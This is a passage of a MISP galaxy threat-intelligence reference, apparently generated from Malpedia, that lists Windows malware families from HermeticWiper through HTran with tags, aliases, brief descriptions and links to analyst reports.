https://marcoramilli.com/2022/03/01/diskkill-hermeticwiper-and-notpetya-dissimilarities/

https://community.riskiq.com/article/9f59cb85

https://eln0ty.github.io/malware%20analysis/HermeticWiper/

https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/

https://blog.malwarebytes.com/threat-intelligence/2022/03/hermeticwiper-a-detailed-analysis-of-the-destructive-malware-that-targeted-ukraine/

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/defenders-blog-on-cyberattacks-targeting-ukraine.html

https://blogs.blackberry.com/en/2022/03/threat-thursday-hermeticwiper

https://www.zscaler.com/blogs/security-research/hermeticwiper-resurgence-targeted-attacks-ukraine

https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks

https://securityintelligence.com/posts/new-destructive-malware-cyber-attacks-ukraine/

https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia

https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf

https://elastic.github.io/security-research/intelligence/2022/03/01.hermeticwiper-targets-ukraine/article/

https://thehackernews.com/2022/02/putin-warns-russian-critical.html

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war

https://www.deepinstinct.com/blog/hermeticwiper-malware-the-russian-ukrainian-cyber-war

https://blogs.microsoft.com/on-the-issues/2022/12/03/preparing-russian-cyber-offensive-ukraine/

https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/

https://brandefense.io/hermeticwiper-technical-analysis-report/

https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works

https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/

https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html

https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/

https://twitter.com/fr0gger_/status/1497121876870832128

https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/

https://securityboulevard.com/2022/03/isaacwiper-followed-hermeticwiper-attack-on-ukraine-orgs/

https://threatpost.com/microsoft-ukraine-foxblade-trojan-hours-before-russian-invasion/178702/

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/digging-into-hermeticwiper.html

https://yoroi.company/research/diskkill-hermeticwiper-a-disruptive-cyber-weapon-targeting-ukraines-critical-infrastructures/

https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat

https://www.brighttalk.com/webcast/15591/534324

https://thehackernews.com/2022/02/new-wiper-malware-targeting-ukraine.html

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf

https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023

https://socradar.io/what-you-need-to-know-about-russian-cyber-escalation-in-ukraine/

https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/

https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/

https://www.cisa.gov/uscert/ncas/alerts/aa22-057a

https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/

https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html

https://www.youtube.com/watch?v=sUlW45c9izU

https://learnsentinel.blog/2022/02/28/detecting-malware-kill-chains-with-defender-and-microsoft-sentinel/

https://cluster25.io/2022/02/24/ukraine-analysis-of-the-new-disk-wiping-malware/

https://www.youtube.com/watch?v=mrTdSdMMgnk

https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/
https://www.zdnet.com/article/microsoft-finds-foxblade-malware-on-ukrainian-systems-removing-rt-from-windows-app-store/
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://www.mandiant.com/resources/information-operations-surrounding-ukraine
https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine/
https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf
https://www.kaspersky.com/blog/hermeticransom-hermeticwiper-attacks-2022/43825/
https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation
https://blogs.vmware.com/networkvirtualization/2022/03/hermetic-malware-multi-component-threat-targeting-ukraine-organizations.html/
https://unit42.paloaltonetworks.com/preparing-for-cyber-impact-russia-ukraine-crisis/
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/

HermeticWizard

The tag is: *misp-galaxy:malpedia="HermeticWizard"*

HermeticWizard is also known as:

Table 4078. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwizard
https://www.brighttalk.com/webcast/15591/534324
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/
https://www.youtube.com/watch?v=mrTdSdMMgnk
https://twitter.com/silascutler/status/1501668345640366091
https://twitter.com/ET_Labs/status/1502494650640351236

HerpesBot

The tag is: *misp-galaxy:malpedia="HerpesBot"*

HerpesBot is also known as:

Table 4079. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.herpes

HesperBot

The tag is: *misp-galaxy:malpedia="HesperBot"*

HesperBot is also known as:

Table 4080. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hesperbot
https://web-assets.esetstatic.com/wls/2013/09/Hesperbot_Whitepaper.pdf

HexaLocker

On August 9th, 2024, the HexaLocker team advertised a new Windows ransomware on its Telegram channel. The message included a demonstration video and text promoting a Golang ransomware that implements a proprietary algorithm.

The tag is: *misp-galaxy:malpedia="HexaLocker"*

HexaLocker is also known as:

Table 4081. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hexalocker
https://www.synacktiv.com/publications/lapsus-is-dead-long-live-hexalocker.html
https://cyble.com/blog/hexalocker-v2-being-proliferated-by-skuld-stealer/

heyoka

The tag is: *misp-galaxy:malpedia="heyoka"*

heyoka is also known as:

Table 4082. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.heyoka

https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/

HiAsm

The tag is: *misp-galaxy:malpedia="HiAsm"*

HiAsm is also known as:

Table 4083. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hiasm
https://fortiguard.fortinet.com/encyclopedia/virus/6488677

Hidden Bee

The tag is: *misp-galaxy:malpedia="Hidden Bee"*

Hidden Bee is also known as:

Table 4084. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddenbee
https://blog.malwarebytes.com/threat-analysis/2019/08/the-hidden-bee-infection-chain-part-1-the-stegano-pack/
https://blog.malwarebytes.com/threat-analysis/2018/07/hidden-bee-miner-delivered-via-improved-drive-by-download-toolkit/
https://www.bleepingcomputer.com/news/security/new-underminer-exploit-kit-discovered-pushing-bootkits-and-coinminers/
https://blog.malwarebytes.com/threat-analysis/2019/05/hidden-bee-lets-go-down-the-rabbit-hole/
https://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/
https://www.freebuf.com/column/174581.html
https://www.freebuf.com/column/175106.html
https://blog.malwarebytes.com/threat-analysis/2018/08/reversing-malware-in-a-custom-format-hidden-bee-elements/
https://www.msreverseengineering.com/blog/2018/9/2/weekend-project-a-custom-ida-loader-module-for-the-hidden-bee-malware-family

HiddenTear

HiddenTear is an open source ransomware developed by a Turkish programmer and later released as proof of concept on GitHub. The malware generates a local symmetric key in order to encrypt a configurable folder (/test was the default one) and it sends it to a centralized C&C server. Due to its small payload it was used as real attack vector over email phishing campaigns. Variants are still used in attacks.

The tag is: *misp-galaxy:malpedia="HiddenTear"*

HiddenTear is also known as:

- Cryptear
- FuckUnicorn

Table 4085. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddentear
https://twitter.com/struppigel/status/950787783353884672
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/
https://www.bleepingcomputer.com/news/security/hidden-tear-ransomware-developer-blackmailed-by-malware-developers-using-his-code/
https://www.linkedin.com/posts/threatmon_azzasec-ransomware-technical-malware-analysis-ugcPost-7223910683967393792-eZaa?utm_source=share&utm_medium=member_desktop
https://www.bleepingcomputer.com/news/security/new-f-unicorn-ransomware-hits-italy-via-fake-covid-19-infection-map/
https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/hidden-tear-project-forbidden-fruit-is-the-sweetest/
https://www.slideshare.net/ChristopherDoman/open-source-malware-sharing-is-caring
https://twitter.com/JAMESWT_MHT/status/1264828072001495041
https://github.com/goliate/hidden-tear
https://utkusen.com/blog/im-sorry-for-hidden-tear-eda2
https://dissectingmalwa.re/earn-quick-btc-with-hiddentearmp4-about-open-source-ransomware.html

HideDRV

The tag is: *misp-galaxy:malpedia="HideDRV"*

HideDRV is also known as:

Table 4086. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hidedrv
https://www.secureworks.com/research/threat-profiles/iron-twilight
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf

HIGHNOON

According to FireEye, HIGHNOON is a backdoor that may consist of multiple components. The components may include a loader, a DLL, and a rootkit. Both the loader and the DLL may be dropped together, but the rootkit may be embedded in the DLL. The HIGHNOON loader may be designed to run as a Windows service.

The tag is: *misp-galaxy:malpedia="HIGHNOON"*

HIGHNOON is also known as:

Table 4087. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.highnoon
https://www.fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html
https://content.fireeye.com/apt-41/rpt-apt41/
https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://twitter.com/MrDanPerez/status/1159461995013378048

HIGHNOON.BIN

The tag is: *misp-galaxy:malpedia="HIGHNOON.BIN"*

HIGHNOON.BIN is also known as:

Table 4088. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.highnoon_bin
https://content.fireeye.com/apt-41/rpt-apt41/

HIGHNOTE

The tag is: *misp-galaxy:malpedia="HIGHNOTE"*

HIGHNOTE is also known as:

- ChyNode

Table 4089. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.highnote
https://twitter.com/bkMSFT/status/1153994428949749761

HijackLoader

According to Rapid7, this is a loader first spotted in July 2023. It implements several evasion techniques including Process Doppelgänging, DLL Search Order Hijacking, and Heaven's Gate. It has been observed to store its malicious payload in the IDAT chunk of PNG file format.

The tag is: *misp-galaxy:malpedia="HijackLoader"*

HijackLoader is also known as:

- DOILoader
- GHOSTPULSE
- IDAT Loader
- SHADOWLADDER

Table 4090. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hijackloader
https://resource.redcanary.com/rs/003-YRU-314/images/2025ThreatDetectionReport_RedCanary.pdf
https://cloud.google.com/blog/topics/threat-intelligence/peaklight-decoding-stealthy-memory-only-malware/
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-widely-abused-msix-app-installer-disabled-by-microsoft-active-iocs/
https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/
https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics
https://www.kroll.com/en/insights/publications/cyber/idatloader-distribution
https://securelist.com/tusk-infostealers-campaign/113367/
https://www.esentire.com/blog/danabots-latest-move-deploying-icedid

https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks
https://alpine-sec.medium.com/hijackloader-targets-hotels-a-technical-analysis-c2795fc4f3a3
https://www.zscaler.com/blogs/security-research/technical-analysis-hijackloader
https://web.archive.org/web/20231219110155/https://yoroi.company/en/research/innovation-in-cyber-intrusions-the-evolution-of-ta544/
https://www.elastic.co/security-labs/a-wretch-client
https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn
https://www.kroll.com/en/insights/publications/cyber/carbanak-anunak-distributed-via-idatloader-hijackloader
https://www.crowdstrike.com/blog/hijackloader-expands-techniques/
https://harfanglab.io/insidethelab/hijackloader-abusing-genuine-certificates/
https://www.loginsoft.com/post/blue-screen-mayhem-when-crowdstrikes-glitch-became-threat-actors-playground
https://www.trellix.com/blogs/research/analysis-of-hijackloader-and-its-infection-chain/
https://www.trellix.com/blogs/research/how-attackers-repackaged-a-threat-into-something-that-looked-benign/
https://www.elastic.co/security-labs/tricks-and-treats
https://www.zscaler.com/blogs/security-research/hijackloader-updates

HiKit

The tag is: *misp-galaxy:malpedia="HiKit"*

HiKit is also known as:

Table 4091. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hikit
https://attack.mitre.org/groups/G0001/
https://www.recordedfuture.com/hidden-lynx-analysis/
https://web.archive.org/web/20150420064803/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
https://www.secureworks.com/research/threat-profiles/bronze-keystone
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/hidden_lynx.pdf
https://web.archive.org/web/20141016080249/http://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware
https://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware

HILDACRYPT

A new ransomware family was discovered in August 2019. Called HILDACRYPT, it is named after the Netflix cartoon “Hilda” because the TV show’s YouTube trailer was included in the ransom note of the original version of the malware.

The tag is: *misp-galaxy:malpedia="HILDACRYPT"*

HILDACRYPT is also known as:

Table 4092. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hildacrypt
https://www.bleepingcomputer.com/news/security/hildacrypt-ransomware-developer-releases-decryption-keys/
https://www.acronis.com/en-eu/blog/posts/hildacrypt-ransomware-newcomer-hits-backup-and-anti-virus-solutions/
https://securitynews.sonicwall.com/xmlpost/hildacrypt-ransomware-actively-spreading-in-the-wild/
https://youtu.be/Oqg20dF8tTA
https://www.acronis.com/en-eu/blog/posts/popular-backup-solutions-easily-disabled-recent-hildacrypt-ransomware/
https://blog.sonicwall.com/en-us/2019/11/mindhunter-meeting-a-russian-ransomware-cell/

himan

The tag is: *misp-galaxy:malpedia="himan"*

himan is also known as:

Table 4093. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.himan
https://www.checkpoint.com/threatcloud-central/downloads/check-point-himan-malware-analysis.pdf

Himera Loader

The tag is: *misp-galaxy:malpedia="Himera Loader"*

Himera Loader is also known as:

Table 4094. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.himera_loader
https://twitter.com/James_inthe_box/status/1260191589789392898

Hisoka

The tag is: *misp-galaxy:malpedia="Hisoka"*

Hisoka is also known as:

Table 4095. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hisoka
https://unit42.paloaltonetworks.com/xhunt-campaign-attacks-on-kuwait-shipping-and-transportation-organizations/

Hive (Windows)

Hive is a strain of ransomware that was first discovered in June 2021. Hive was designed to be used by Ransomware-as-a-service providers, to enable novice cyber-criminals to launch ransomware attacks on healthcare providers, energy providers, charities, and retailers across the globe. In 2022 there was a switch from GoLang to Rust.

The tag is: *misp-galaxy:malpedia="Hive (Windows)"*

Hive (Windows) is also known as:

Table 4096. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hive
https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape
https://www.malwarebytes.com/blog/threat-intelligence/2022/20221121-threat-intel-report-final.pdf
https://www.rapid7.com/blog/post/2023/01/11/increasing-the-sting-of-hive-ransomware/
https://unit42.paloaltonetworks.com/emerging-ransomware-groups/
https://www.sentinelone.com/blog/hive-ransomware-deploys-novel-ipfuscation-technique/
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf
https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf

https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive

https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_hive_2021_v1.pdf

https://therecord.media/hive-ransomware-shuts-down-california-health-care-organization/

https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again

https://www.connectwise.com/resources/hive-profile

https://github.com/reecdeep/HiveV5_file_decryptor

https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf?1651576098

https://blog.group-ib.com/hive

https://labs.sentinelone.com/hive-attacks-analysis-of-the-human-operated-ransomware-targeting-healthcare/

https://thehackernews.com/2022/02/master-key-for-hive-ransomware.html

https://www.ic3.gov/Media/News/2021/210825.pdf

https://lifars.com/2022/02/how-to-decrypt-the-files-encrypted-by-the-hive-ransomware/

https://www.kroll.com/en/insights/publications/cyber/hive-ransomware-technical-analysis-initial-access-discovery

https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023

https://www.microsoft.com/security/blog/2022/07/05/hive-ransomware-gets-upgrades-in-rust/

https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/

https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf

https://blog.talosintelligence.com/2022/05/conti-and-hive-ransomware-operations.html

https://github.com/rivitna/Malware/tree/main/Hive

https://securityaffairs.co/wordpress/128232/security/recover-files-hive-ransomware.html

https://yoroi.company/research/on-the-footsteps-of-hive-ransomware/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker

https://www.netskope.com/blog/hive-ransomware-actively-targeting-hospitals

https://yoroi.company/wp-content/uploads/2022/07/Yoroi-On-The-Footsteps-of-Hive-Ransomware.pdf

https://resources.prodaft.com/wazawaka-report

https://www.scmagazine.com/brief/breach/novel-obfuscation-leveraged-by-hive-ransomware

https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v

https://securelist.com/modern-ransomware-groups-ttps/106824/

https://arxiv.org/pdf/2202.08477.pdf
https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/
https://www.varonis.com/blog/hive-ransomware-analysis
https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.bleepingcomputer.com/news/security/hive-ransomware-uses-new-ipfuscation-trick-to-hide-payload/
https://therecord.media/academics-publish-method-for-recovering-data-encrypted-by-the-hive-ransomware/
https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group

Hi-Zor RAT

The tag is: *misp-galaxy:malpedia="Hi-Zor RAT"*

Hi-Zor RAT is also known as:

Table 4097. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hi_zor_rat
https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat

HLUX

The tag is: *misp-galaxy:malpedia="HLUX"*

HLUX is also known as:

Table 4098. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hlux

Hodur

The tag is: *misp-galaxy:malpedia="Hodur"*

Hodur is also known as:

Table 4099. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.hodur
https://www.welivesecurity.com/2022/03/23/mustang-panda-hodur-old-tricks-new-korplug-variant/
https://hitcon.org/2024/CMT/slides/Sailing_the_Seven_SEAs_Deep_Dive_into_Polaris_Arsenal_and_Intelligence_Insights.pdf
https://files.speakerdeck.com/presentations/6d01e26c85a444d0a3f888e45629635f/hodur_recon2024.pdf
https://github.com/Still34/landing/blob/master/assets/slides/2024-08-Sailing%20the%20Seven%20SEAs.pdf

Holcus Installer (Adware)

Adware, tied to eGobbler and Nephos7 campaigns,

The tag is: *misp-galaxy:malpedia="Holcus Installer (Adware)"*

Holcus Installer (Adware) is also known as:

Table 4100. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.holcus
https://blog.confiant.com/malvertising-made-in-china-f5081521b3f0

HOLERUN

The tag is: *misp-galaxy:malpedia="HOLERUN"*

HOLERUN is also known as:

- LAGTOY

Table 4101. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.holerun
https://blog.talosintelligence.com/introducing-toymaker-an-initial-access-broker/
https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated

homefry

```
a 64-bit Windows password dumper/cracker that has previously been used in conjunction
with AIRBREAK and BADFLICK backdoors. Some strings are obfuscated with XOR x56. The
malware accepts up to two arguments at the command line: one to display cleartext
credentials for each login session, and a second to display cleartext credentials,
```

```
NTLM hashes, and malware version for each login session.
```

The tag is: *misp-galaxy:malpedia="homefry"*

homefry is also known as:

Table 4102. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.homefry
https://www.secureworks.com/research/threat-profiles/bronze-mohawk
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

HookInjEx

The tag is: *misp-galaxy:malpedia="HookInjEx"*

HookInjEx is also known as:

Table 4103. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hookinjex
https://twitter.com/CDA/status/1014144988454772736
https://research.checkpoint.com/2020/rampant-kitten-an-iranian-espionage-campaign/

HOPLIGHT

The tag is: *misp-galaxy:malpedia="HOPLIGHT"*

HOPLIGHT is also known as:

- HANGMAN

Table 4104. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hoplight
https://www.secureworks.com/research/threat-profiles/nickel-academy
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.computing.co.uk/ctg/news/3074007/lazarus-rises-warning-over-new-hoplight-malware-linked-with-north-korea
https://researchcenter.paloaltonetworks.com/2017/08/unit42-blockbuster-saga-continues/
https://www.us-cert.gov/ncas/analysis-reports/ar19-304a

https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/FireEye_HWP_ZeroDay.pdf
https://www.us-cert.gov/ncas/analysis-reports/AR19-100A
https://www.us-cert.gov/ncas/analysis-reports/ar20-045g
https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/
https://securelist.com/apt-trends-report-q2-2019/91897/

Hopscotch

Hopscotch is part of the Regin framework.

The tag is: *misp-galaxy:malpedia="Hopscotch"*

Hopscotch is also known as:

Table 4105. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hopscotch
https://www.youtube.com/watch?v=VnzP00DZlx4

Horus

According to Check Point Research, this is a custom-built agent for Mythic, the open-source red teaming C2 framework. Written in C++, the implant shows no significant overlap with known C-based Mythic agents, aside from commonalities in the generic logic related to Mythic C2 communications.

The tag is: *misp-galaxy:malpedia="Horus"*

Horus is also known as:

Table 4106. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.horus
https://research.checkpoint.com/2025/stealth-falcon-zero-day/

HorusEyes RAT

Remote Acess Tool Written in VB.NET.

The tag is: *misp-galaxy:malpedia="HorusEyes RAT"*

HorusEyes RAT is also known as:

Table 4107. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.horuseyes
https://github.com/arsium/HorusEyesRat_Public

Horus Eyes RAT

Warsaw trojan is a new banking trojan based on the Hours Eyes RAT core engine.

The tag is: *misp-galaxy:malpedia="Horus Eyes RAT"*

Horus Eyes RAT is also known as:

Table 4108. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.horus_eyes_rat
https://seguranca-informatica.pt/the-clandestine-horus-eyes-rat-from-the-underground-to-criminals-arsenal/

HOTCROISSANT

The tag is: *misp-galaxy:malpedia="HOTCROISSANT"*

HOTCROISSANT is also known as:

Table 4109. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hotcroissant
https://www.us-cert.gov/ncas/analysis-reports/ar20-045d
https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/
https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/

HOTWAX

HOTWAX is a module that upon starting imports all necessary system API functions, and searches for a .CHM file. HOTWAX decrypts a payload using the Spritz algorithm with a hard-coded key and then searches the target process and attempts to inject the decrypted payload module from the CHM file into the address space of the target process.

The tag is: *misp-galaxy:malpedia="HOTWAX"*

HOTWAX is also known as:

Table 4110. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hotwax
https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Kalnai-Poslusny.pdf
https://baesystemsai.blogspot.com/2017/02/lazarus-false-flag-malware.html
https://raw.githubusercontent.com/eric-erki/APT_CyberCriminal_Campagin_Collections/master/2017/2017.05.30.Lazarus_Arisen/Group-IB_Lazarus.pdf
https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf
https://securelist.com/lazarus-under-the-hood/77908/
https://content.fireeye.com/apt/rpt-apt38

Houdini

Houdini is a VBS-based RAT dating back to 2013. Past in the days, it used to be wrapped in an .exe but started being spamvertized or downloaded by other malware directly as .vbs in 2018. In 2019, WSHRAT appeared, a Javascript-based version of Houdini, recoded by the name of Kognito.

The tag is: *misp-galaxy:malpedia="Houdini"*

Houdini is also known as:

- Hworm
- Jenxcus
- Kognito
- Njw0rm
- WSHRAT
- dinihou
- dunihi

Table 4111. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.houdini
http://blogs.360.cn/post/analysis-of-apt-c-37.html
https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html
https://cybersecurity.att.com/blogs/labs-research/alien-labs-2019-analysis-of-threat-groups-molerats-and-apt-c-37
https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape

https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html
https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns
https://www.vectra.ai/blogpost/moonlight-middle-east-targeted-attacks
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://blogs.360.cn/post/APT-C-44.html
https://lab52.io/blog/wirte-group-attacking-the-middle-east/
https://www.trellix.com/en-us/about/newsroom/stories/research/cyberattacks-targeting-ukraine-increase.html
https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/wsh_rat.md
https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g
https://www.youtube.com/watch?v=h3KLKCdMUUY
https://yoroi.company/research/threatening-within-budget-how-wsh-rat-is-abused-by-cyber-crooks/
https://threatpost.com/ta2541-apt-rats-aviation/178422/
http://blog.morphisec.com/hworm-houdini-aka-njrat
https://www.binarydefense.com/revenge-is-a-dish-best-served-obfuscated
https://www.cadosecurity.com/post/threat-group-uses-voice-changing-software-in-espionage-attempt
https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/
https://www.youtube.com/watch?v=XDAiS6KBDOs
https://unit42.paloaltonetworks.com/unit42-houdinis-magic-reappearance/
https://isc.sans.edu/forums/diary/Houdini+is+Back+Delivered+Through+a+JavaScript+Dropper/28746/
https://cofense.com/houdini-worm-transformed-new-phishing-attack/
https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/
https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/
https://myonlinesecurity.co.uk/more-agenttesla-keylogger-and-nanocore-rat-in-one-bundle/

HtBot

The tag is: *misp-galaxy:malpedia="HtBot"*

HtBot is also known as:

Table 4112. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.htbot

htpRAT

The tag is: *misp-galaxy:malpedia="htpRAT"*

htpRAT is also known as:

Table 4113. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.htprat
https://www.riskiq.com/blog/labs/htprat/

HTran

The tag is: *misp-galaxy:malpedia="HTran"*

HTran is also known as:

- HUC Packet Transmit Tool
- lcx

Table 4114. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.htran
https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf
